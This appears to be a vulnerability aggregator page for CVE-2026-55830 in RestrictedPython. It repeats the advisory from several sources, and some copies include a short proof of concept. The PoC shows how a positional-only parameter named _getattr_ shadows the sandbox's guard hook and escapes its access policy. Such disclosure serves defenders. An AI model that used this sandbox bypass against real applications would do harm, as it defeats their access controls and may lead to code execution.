CVE-2026-55830
RestrictedPython guard hooks can be shadowed via positional-only arguments
RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing getattr, getitem, write, or print to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.3
RestrictedPython guard hooks can be shadowed via positional-only arguments
RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing getattr, getitem, write, or print to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.
- Record
CVE-2026-55830- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-184
- Updated
- 2026-11-02
EUVDEUVD-2026-42434
8.3
RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing getattr, getitem, write, or print to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.
- Record
EUVD-2026-42434- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-ffg3-p8fm-mjx2
8.3
RestrictedPython guard hooks can be shadowed via positional-only arguments
Impact
RestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes _getattr_(obj, name), item access becomes _getitem_(obj, key), writes go through _write_, and print goes through _print_. The embedding application supplies these hooks to enforce its policy.
Argument-name validation rejects these protected names for regular arguments, *args, **kwargs, and keyword-only arguments, but it misses positional-only arguments (the ones before /). So a function like:
def f(_getattr_=evil, /):
return o.x
makes _getattr_ a local that shadows the policy hook, and the rewritten access calls evil instead. The same works for _getitem_, _write_, and _print_. Shadowing _print_ can also be used to capture the internal _getattr_ hook that RestrictedPython passes in.
The result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.
Proof of concept
On an unpatched RestrictedPython this prints shadowed and an empty calls list, meaning the policy _getattr_ never ran. With the fix, compile_restricted rejects the code.
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_globals, safer_getattr
calls = []
def policy_getattr(obj, name, default=None):
calls.append(name) # the real guard records every access
return safer_getattr(obj, name, default)
src = """
def f(o, _getattr_=lambda obj, name: "shadowed", /):
return o.x
"""
code = compile_restricted(src, "<s>", "exec") # currently compiles, should be rejected
g = dict(safe_globals)
g["_getattr_"] = policy_getattr
exec(code, g)
class O:
x = "secret"
print(g["f"](O())) # -> "shadowed" (attacker's local was used)
print(calls) # -> [] (policy _getattr_ never ran)
Patches
The fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.
Workarounds
None other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.
- Record
GHSA-ffg3-p8fm-mjx2- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-184
- Updated
- 2026-11-02
NVD
8.3
RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing getattr, getitem, write, or print to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.
- Record
CVE-2026-55830- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-184
- Updated
- 2026-11-02
OSV
8.3
RestrictedPython guard hooks can be shadowed via positional-only arguments
RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing getattr, getitem, write, or print to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.
- Record
CVE-2026-55830- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-184
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-55830
8.3
RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing getattr, getitem, write, or print to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.
- Record
DEBIAN-CVE-2026-55830- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L - Updated
- 2026-11-02
OSVGHSA-ffg3-p8fm-mjx2
8.3
RestrictedPython guard hooks can be shadowed via positional-only arguments
Impact
RestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes _getattr_(obj, name), item access becomes _getitem_(obj, key), writes go through _write_, and print goes through _print_. The embedding application supplies these hooks to enforce its policy.
Argument-name validation rejects these protected names for regular arguments, *args, **kwargs, and keyword-only arguments, but it misses positional-only arguments (the ones before /). So a function like:
def f(_getattr_=evil, /):
return o.x
makes _getattr_ a local that shadows the policy hook, and the rewritten access calls evil instead. The same works for _getitem_, _write_, and _print_. Shadowing _print_ can also be used to capture the internal _getattr_ hook that RestrictedPython passes in.
The result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.
Proof of concept
On an unpatched RestrictedPython this prints shadowed and an empty calls list, meaning the policy _getattr_ never ran. With the fix, compile_restricted rejects the code.
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_globals, safer_getattr
calls = []
def policy_getattr(obj, name, default=None):
calls.append(name) # the real guard records every access
return safer_getattr(obj, name, default)
src = """
def f(o, _getattr_=lambda obj, name: "shadowed", /):
return o.x
"""
code = compile_restricted(src, "<s>", "exec") # currently compiles, should be rejected
g = dict(safe_globals)
g["_getattr_"] = policy_getattr
exec(code, g)
class O:
x = "secret"
print(g["f"](O())) # -> "shadowed" (attacker's local was used)
print(calls) # -> [] (policy _getattr_ never ran)
Patches
The fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.
Workarounds
None other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.
- Record
GHSA-ffg3-p8fm-mjx2- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-184
- Updated
- 2026-11-02
OSVPYSEC-2026-3917
8.3
RestrictedPython guard hooks can be shadowed via positional-only arguments
Impact
RestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes _getattr_(obj, name), item access becomes _getitem_(obj, key), writes go through _write_, and print goes through _print_. The embedding application supplies these hooks to enforce its policy.
Argument-name validation rejects these protected names for regular arguments, *args, **kwargs, and keyword-only arguments, but it misses positional-only arguments (the ones before /). So a function like:
def f(_getattr_=evil, /):
return o.x
makes _getattr_ a local that shadows the policy hook, and the rewritten access calls evil instead. The same works for _getitem_, _write_, and _print_. Shadowing _print_ can also be used to capture the internal _getattr_ hook that RestrictedPython passes in.
The result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.
Proof of concept
On an unpatched RestrictedPython this prints shadowed and an empty calls list, meaning the policy _getattr_ never ran. With the fix, compile_restricted rejects the code.
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_globals, safer_getattr
calls = []
def policy_getattr(obj, name, default=None):
calls.append(name) # the real guard records every access
return safer_getattr(obj, name, default)
src = """
def f(o, _getattr_=lambda obj, name: "shadowed", /):
return o.x
"""
code = compile_restricted(src, "<s>", "exec") # currently compiles, should be rejected
g = dict(safe_globals)
g["_getattr_"] = policy_getattr
exec(code, g)
class O:
x = "secret"
print(g["f"](O())) # -> "shadowed" (attacker's local was used)
print(calls) # -> [] (policy _getattr_ never ran)
Patches
The fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.
Workarounds
None other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.
- Record
PYSEC-2026-3917- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-55830
8.3
RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing getattr, getitem, write, or print to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.
- Record
UBUNTU-CVE-2026-55830- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
restrictedpythonPyPI |
through 8.2 | 8.3 |
restrictedpythonDebian:12 |
All versions, plus listed versions 4.0~b3-36.2-18.0-18.1-18.4-1 |
None known |
restrictedpythonDebian:13 |
All versions, plus listed versions 8.0-18.1-18.4-1 |
None known |
restrictedpythonDebian:14 |
before 8.4-1, plus listed versions 8.0-18.1-1 |
8.4-1 |
restrictedpythonPyPI |
before 8.3, plus listed versions 3.4.23.4.33.5.03.5.13.5.2 Show 39 moreShow less3.6.03.6.0a14.04.0a14.0a24.0a34.0b14.0b24.0b34.0b44.0b54.0b64.0b74.0b85.05.15.25.2a1.dev05.35.3a1.dev05.46.06.0a1.dev06.16.27.07.0a1.dev07.0a1.dev17.0a2.dev07.17.27.2a1.dev07.37.48.08.18.1a1.dev08.28.3a1.dev0 |
8.3 |
restrictedpythonUbuntu:16.04:LTS |
All versions, plus listed versions 3.6.0-0ubuntu4 |
None known |
restrictedpythonUbuntu:18.04:LTS |
All versions, plus listed versions 3.6.0-0ubuntu4 |
None known |
restrictedpythonUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 4.0~b3-24.0~b3-2ubuntu0.1~esm1 |
None known |
restrictedpythonUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 4.0~b3-24.0~b3-2ubuntu14.0~b3-34.0~b3-3ubuntu0.1~esm1 |
None known |
restrictedpythonUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 4.0~b3-36.2-16.2-1ubuntu0.24.04.1~esm1 |
None known |
restrictedpythonUbuntu:26.04:LTS |
All versions, plus listed versions 8.0-18.1-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55830 is a high vulnerability (CVSS 8.3) in Zopefoundation Restrictedpython, published July 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. Fixed in restrictedpython 8.3.
References
github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-ffg3-p8fm-mjx2
github.com/zopefoundation/RestrictedPython/commit/3737596ec9f28c34a073cc845bd2f4c0a80cb671
nvd.nist.gov/vuln/detail/CVE-2026-55830
github.com/advisories/GHSA-ffg3-p8fm-mjx2
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55830.json
security-tracker.debian.org/tracker/CVE-2026-55830